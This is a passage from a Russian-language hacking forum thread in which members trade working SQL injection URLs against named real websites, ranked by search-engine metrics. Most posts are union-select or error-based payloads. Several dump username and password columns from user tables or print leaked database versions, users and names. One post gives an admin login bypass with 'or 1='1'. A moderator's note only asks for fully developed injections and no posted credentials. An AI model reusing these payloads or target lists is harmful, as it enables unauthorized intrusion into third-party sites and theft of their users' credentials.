SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.unive.it/nqcontent.cfm?a_id=63&gruppo=0&event_id=3040188+or+1+in(utl_inaddr.get_host_name((SELECT+uidnumber||chr(58)||password+FROM+ACCOUNT+where+rownum=1+and+uidnumber!='150791')))
     
    _________________________
    5 people like this.
  2. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://www.ipag.net.ua/kat.php?r=-78+union+select+1,2,table_name+from+information_schema.tables--

    тут можно слямзить огого..........
     
    2 people like this.
  3. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИц == 10, PR == 7;

    PHP:
    http://www.vuzf.bg/?Template=VUZFActualNewsView&RecordID=239&LanguageID=2+and+extractvalue(rand(),concat(0x3a,version(),0x3a,user()))--
    ТИц == 30, PR == 2;

    PHP:
    http://protivoradar.ru/product.php?id=-25+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13--
     
    5 people like this.
  4. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Яндекс тИЦ (CY) 130
    Google PageRank (PR) 4
    Code:
    http://www.shokoladnayafabrika.ru /afisha/afisha.php?id=465+union+select+1,2,version(),4,5,6,7,8,9--
    Google PageRank (PR) 2
    Яндекс тИЦ (CY) 10
    Code:
    http://www.sozh-stroy.ru/projects.php?id=-8+union+select+1,version(),3,4,5,6--
     
    #15144 ~nero~, 25 Sep 2012
    Last edited: 25 Sep 2012
    2 people like this.
  5. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    30
    Likes Received:
    7
    Reputations:
    0
    pr == 2
     
    2 people like this.
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    lxtv.com

    ++++++++++++++++++++++++++++++++++++++++++++++++
    www.urbandrinking.com

    ++++++++++++++++++++++++++++++++++++++++++++++

    www.soapcrone.com

    ++++++++++++++++++++++++++++++++++++++++++++++

    www.wprb.com

    ++++++++++++++++++++++++++++++++++++++++++++++
     
    6 people like this.
  7. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    TVOnline
    Code:
    http://tv.powernet.com.ru/files/download.php?tv=archive&channel=1 and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,schema_name,0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
    
     
    3 people like this.
  8. Иван8

    Иван8 Elder - Старейшина

    Joined:
    21 Aug 2008
    Messages:
    71
    Likes Received:
    11
    Reputations:
    6
    Code:
    http://www.strida.ru/strid/?id=-7'+union+select+1,2,3,4,5,version(),User(),8,9,database(),11,12,13,14+--+
     
    2 people like this.
  9. ~nero~

    ~nero~ Member

    Joined:
    3 Jul 2012
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Code:
    http://association.cqu.edu.au/cqusa_faq/php/view-faq.php?id=-45+union+select+1,user(),version(),4,5,database(),7--
    Code:
    http://www.indiaoz.com.au/Associations/moreinfo.php?id=-47+union+select+1,version(),user(),database(),5,6,7,8--
    Code:
    http://apva.org/rediscovery/page.php?page_id=-2+union+select+version(),database(),3,4--
    Code:
    http://www.ruscourier.ru/archive.php?id=-3164+union+select+version()--
     
    #15149 ~nero~, 28 Sep 2012
    Last edited: 28 Sep 2012
    1 person likes this.
  10. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.iiserkol.ac.in
    Code:
    http://www.iiserkol.ac.in/~iipm/detail.php?id=-27%0Dunion%0Dselect%0D1,2,3,4,5,6,concat_ws(user(),database(),version()),8,9,10,11,12,13,14,15--
    TИЦ 10
    PR 7
    AR 922,369
    [email protected]~bpo50+1
     
    1 person likes this.
  11. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.littlepotatoes.com
    Code:
    http://www.littlepotatoes.com/blog/post.php?id=-389+union+select+1,2,3,4,5,6,group_concat(username,0x03a,password),8,9,10,11,12,13,14,15,16,17,18,19+from+lpcUsers--
    PR 3

    www.unitedcog.com
    Code:
    http://www.unitedcog.com/post.php?post_id=-38+union+select+group_concat(username,0x03a,password),2+from+users--
    http://www.unitedcog.com/admin/

    www.rx4eternity.com
    Code:
    http://www.rx4eternity.com/post.php?id=-38%27+union+select+1,2,3,4,5,group_concat(username,0x03a,password),7,8+from+user--+f
    PR 2
    http://www.rx4eternity.com/cms/index.php

    www.festamedioevale.it
    Code:
    http://www.festamedioevale.it/post.php?id=-38+union+select+1,concat_ws(user(),database(),version()),3,4,5,6,7,8,9,10,11--
    PR 2
    [email protected]

    www.karatekidokan.com
    Code:
    http://www.karatekidokan.com/post.php?id=-38%27+union+select+1,concat_ws(user(),database(),version()),3,4,5--+f
    PR 1
    KARATEKIDOKANSOKRATES@APACHE2-SNORT.STARFOX.DREAMHOST.COM5.1.53-LOG
     
    #15151 DyukiN, 30 Sep 2012
    Last edited: 30 Sep 2012
    3 people like this.
  12. c0mdrc

    c0mdrc Banned

    Joined:
    27 Sep 2012
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    www.molmatric.coop

    5.0.32-Debian_7etch12-log
    mo@localhost
    molmatric_web
     
    2 people like this.
  13. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    mobile.alkar.net ТИЦ-170
    Code:
    mobile.alkar.net/news.php?news_id=-40858'+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,0,11,12,13,14,15+--+
    Code:
    5.0.27-log:[email protected]:mobile
    primuzee.ru ТИЦ-190
    Code:
    primuzee.ru/event.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),user(),database()),0,11,12,13,14,15,16+--+
    Code:
    5.5.24-log:[email protected]:u288262
    medinform.biz ТИЦ-130
    Code:
    www.medinform.biz/low1.php?id=-28125+union+select+1,concat_ws(0x3a,version(),user(),database()),3+--+
    Code:
    4.1.25:medinfo5main@localhost:medinfo5main
    
     
    3 people like this.
  14. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862

    + ко всему тут ByPass Authentication

    _ttp://medinform.biz/admin.php

    Login = admin' or 1='1
    Pass = admin' or 1='1

    P.S. Админка убогая конечно (
     
    _________________________
    1 person likes this.
  15. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИц == 240, PR == 5, DMOZ == true, ЯК == true;

    PHP:
    http://www.domkultury.su/page.php?pageid=-2 union select 1,2,3,concat_ws(0x03a,user(),version(),database())--
     
  16. c0mdrc

    c0mdrc Banned

    Joined:
    27 Sep 2012
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    PR=3
     
  17. warhamer2012

    warhamer2012 New Member

    Joined:
    2 Oct 2012
    Messages:
    36
    Likes Received:
    0
    Reputations:
    0
    http://warfare.ru/?base=%28select%20convert%28int%2cCHAR%2852%29%2bCHAR%2867%29%2bCHAR%28117%29%2bCHAR%2875%29%2bCHAR%28121%29%2bCHAR%28100%29%2bCHAR%2855%29%2bCHAR%2866%29%2bCHAR%2874%29%2bCHAR%2888%29%2bCHAR%2883%29%29%20FROM%20syscolumns%29&catid=311&linkid=1730&title=11th-coastal-msl-arty-bde
     
  18. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    919
    Reputations:
    862
    Крупный онлайн магазин электро-товаров

    Site: www.3d-zone.ru

    Inject:

    Code:
    _ttp://www.3d-zone.ru/catalog.php?class=15&type=-71+and+1=2+union+select+1,2,concat(@@version,0x3a,user(),0x3a,database()),4
    Version = 5.0.45-log
    User = [email protected]
    Database = colortv_zone

    TYC = 20
    PR = 6
     
    _________________________
  19. wkuzy

    wkuzy New Member

    Joined:
    8 Aug 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    -5
    немцы
    _ttp://www.mega-ad.de/?seite=content/aktsend-1%27%20or%2096%20%3d%20%2794

    // выкладывать учётные записи от сайтов
    // строго запрещено
    // + SQL инъекция публикуется в раскрученном виде, а не на стадии зачатия !!!

    // BigBear
     
    #15159 wkuzy, 10 Oct 2012
    Last edited by a moderator: 11 Oct 2012
  20. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Яндекс тИЦ 250

    Яндекс Каталог Да
    DMOZ каталог Да


    wkuzy
    ты бы для начала правила почитал
     
    #15160 OxoTnik, 11 Oct 2012
    Last edited: 26 Oct 2012
Thread Status:
Not open for further replies.